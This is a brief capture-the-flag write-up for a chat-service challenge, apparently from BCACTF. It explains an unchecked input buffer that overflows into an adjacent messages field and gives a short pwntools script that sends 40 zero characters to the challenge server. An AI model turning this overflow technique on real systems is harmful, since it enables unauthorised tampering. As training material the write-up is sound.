Challenge

A chat service where messages from user 0000, the system user, are the ones that matter.

Approach

The input reads into a number buffer with no length check, and msgs sits right next to it. A long enough line runs past the number buffer and into msgs.

Solution

Send 40 bytes to overflow into the number field:

1
2
3
4
5
6
7
8

from pwn import *

conn = remote('challs.bcactf.com', 30184)
conn.sendline('0' * 40)
response = conn.recvline()
print(response)

conn.interactive()